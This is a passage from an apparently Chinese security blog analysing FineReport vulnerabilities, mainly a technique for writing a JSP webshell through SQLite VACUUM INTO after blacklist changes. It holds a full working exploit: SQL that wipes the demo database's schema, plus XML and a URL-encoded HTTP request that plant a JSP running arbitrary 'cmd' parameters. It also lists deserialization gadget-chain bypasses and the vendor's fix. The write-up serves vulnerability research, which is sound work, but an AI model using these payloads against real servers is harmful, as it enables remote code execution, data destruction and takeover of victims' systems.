// String cjkEncode = CommonCodeUtils.cjkEncode(s);
// System.out.println(cjkEncode);

Parameter parameter = new Parameter();
Formula formula = new Formula("sql('FRDemo', 'insert * FROM table', 1)");
parameter.setName("p1");
parameter.setValue(formula);

LargeDatasetExcelExportJavaScript largeDatasetExcelExportJavaScript = new LargeDatasetExcelExportJavaScript();
largeDatasetExcelExportJavaScript.setDsName("ds1");
largeDatasetExcelExportJavaScript.setParameters(new Parameter[]{parameter});

String xml = GeneralXMLTools.writeXMLableAsString(largeDatasetExcelExportJavaScript);
System.out.println(xml);
}
}

写入webshell

之前通过U+FEFF的绕过已经被修复了,这里要介绍使用vacuum命令进行写文件。

在这之前,要知道新版本的黑名单中去除了一些关键词,看一下11.5.4.1(10.20号修复后)的关键词:

img

原本的create,delete,drop等都不在黑名单里了。

问一下AI,看看vacuum怎么用:

img

这里搬运一下killer师傅的payload:

1
2
3
4
5
6
PRAGMA writable_schema = 1;
DELETE FROM sq1ite_master WHERE type IN ('table', 'index', 'trigger');
PRAGMA writable_schema = 0;
VACUUM;
CREATE TABLE testxxx AS SELECT x'shellhex' AS id;
VACUUM INTO "../webapps/webroot/shell.jsp";

前面四行:直接导出数据库,作为jsp解析的话,由于数据库中有很多特殊字符,会导致jsp无法正常解析,所以需要先清除数据库再写入。默认的FRDEMO是测试数据库,删除了也没事,但还是建议备份一下。在第一行加入备份语句即可:

1
VACUUM INTO "frdemo.db.bak";

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<R>
<Parameters a="1">
<Parameter>
<Attributes name="p0"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('VACUUM+INTO+%27.%2Ffrdemo.db.bak%27%3B'),1,1)</Attributes>
</Object>
</Parameter>
<Parameter>
<Attributes name="p1"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('PRAGMA+writable_schema%3D1%3B'),1,1)-sql('FRDemo',"delete from sqlite_schema",1,1)</Attributes>
</Object>
</Parameter>
<Parameter>
<Attributes name="p2"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('CREATE+TABLE+t1+%28p+text%29%3B%29'),1,1)-sql('FRDemo',DECODE('REPLACE+INTO+t1+VALUES+%28%27%3C%25+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B+%25%3E%27%29%3B%29'),1,1)-sql('FRDemo',"COMMIT",1)-sql('FRDemo',DECODE('VACUUM+INTO+%27..%2Fwebapps%2Fwebroot%2Fwaibiwaibi.jsp%27%3B'),1,1)</Attributes>
</Object>
</Parameter>
</Parameters>
<LargeDatasetExcelExportJS exportFileName="waibiwaibi" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
</R>
GET /webroot/decision/nx/report/v9/largedataset/export/excel HTTP/1.1
Host: 127.0.0.1:8075
sessionID: e46cd7cc-781d-4dd0-8aa9-0f986bfc8065
params: %3CR%3E%3CParameters+a%3D%221%22%3E%3CParameter%3E%3CAttributes+name%3D%22p0%22%3E%3C%2FAttributes%3E%3CObject+t%3D%22Formula%22%3E%3CAttributes%3Esql%28%27FRDemo%27%2CDECODE%28%27VACUUM%2BINTO%2B%2527.%252Ffrdemo1.db.bak%2527%253B%27%29%2C1%2C1%29%3C%2FAttributes%3E%3C%2FObject%3E%3C%2FParameter%3E%3CParameter%3E%3CAttributes+name%3D%22p1%22%3E%3C%2FAttributes%3E%3CObject+t%3D%22Formula%22%3E%3CAttributes%3Esql%28%27FRDemo%27%2CDECODE%28%27PRAGMA%2Bwritable_schema%253D1%253B%27%29%2C1%2C1%29-sql%28%27FRDemo%27%2C%22delete+from+sqlite_schema%22%2C1%2C1%29%3C%2FAttributes%3E%3C%2FObject%3E%3C%2FParameter%3E%3CParameter%3E%3CAttributes+name%3D%22p2%22%3E%3C%2FAttributes%3E%3CObject+t%3D%22Formula%22%3E%3CAttributes%3Esql%28%27FRDemo%27%2CDECODE%28%27CREATE%2BTABLE%2Bt1%2B%2528p%2Btext%2529%253B%2529%27%29%2C1%2C1%29-sql%28%27FRDemo%27%2CDECODE%28%27REPLACE%2BINTO%2Bt1%2BVALUES%2B%2528%2527%253C%2525%2BRuntime.getRuntime%2528%2529.exec%2528request.getParameter%2528%2522cmd%2522%2529%2529%253B%2B%2525%253E%2527%2529%253B%2529%27%29%2C1%2C1%29-sql%28%27FRDemo%27%2C%22COMMIT%22%2C1%29-sql%28%27FRDemo%27%2CDECODE%28%27VACUUM%2BINTO%2B%2527..%252Fwebapps%252Fwebroot%252Fwaibiwaibi.jsp%2527%253B%27%29%2C1%2C1%29%3C%2FAttributes%3E%3C%2FObject%3E%3C%2FParameter%3E%3C%2FParameters%3E%3CLargeDatasetExcelExportJS+exportFileName%3D%22waibiwaibi%22+dsName%3D%22ds1%22+colNames%3D%22%7B%7D%22+exportFormat%3D%22excel%22+encodeFormat%3D%22UTF-8%22%2F%3E%3C%2FR%3E
__parameters__: {}
functionParams: {}

但是很尴尬的一点是,我这里11.0.28版本会禁create,delete等,11.5.4.1不仅修复了最新的sessionID获取,又禁了vacuum。所以漏洞没法在本地复现。

官方修复

vacuum在最新版本的修复中被加入黑名单:

img

另外,关于sessionID:

img

img

img

会判断op是否为closesessionid或getSessionID,会判断是否请求的是 /decision,不是的话转发到/view/report。同时,checkRequest:

img

这个list不再为空,导致var9变成true,这个解析过程可以自行调试一下。

原本文章里https://xz.aliyun.com/news/90947 ,list是空的。

后记

由于篇幅和本人学习进度原因,这里还有几个漏洞没分析。

1、/remote/design/channel 反序列化 有三次绕过

绕过1:TreeBag + ClassComparator + VersionComparator + JSONArray 未知具体修复版本,反正V10最后一个版本已经修复-2024.3.19-10.0.19;V11-2024.7.17-11.0.28已经修复(非最早修复版本)

绕过2:HashMap + HashTable + UIDefaults$TextAndMnemonicHashMap + JSONArray V10全没修;V11-2024.7.17-11.0.28已修复(非最早修复版本)

绕过3:ImmutableSetMultimap + JSONArray V11-2025.3.31-11.0.32修复?

https://forum.butian.net/share/2806

https://xz.aliyun.com/news/14869

2、FVS插件的漏洞

3、几个任意文件读取漏洞

后面有空也许写有第二篇。

这次分析大概花费了一周多,对这种大型的系统,分析还是有很多不熟练的地方,后面要多多练习。

附录

主要记录一些官方文档的位置:

https://help.fanruan.com/finereport/doc-view-4833.html 安全漏洞声明

https://help.fanruan.com/finereport/doc-view-3930.html 设计器函数汇总

https://help.fanruan.com/finereport/doc-view-4699.html FineReport更新文档

https://help.fanruan.com/finebi6.X/doc-view-2355.html FineBI更新文档

https://help.fanruan.com/finedatalink/doc-view-751.html FineDataLink更新文档

参考

https://mp.weixin.qq.com/s/628UNSos2lxNy5QUCLRznA

https://xz.aliyun.com/news/14625

https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/

https://xz.aliyun.com/news/90947

https://xz.aliyun.com/news/90898

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 162.2k 访客数 访问量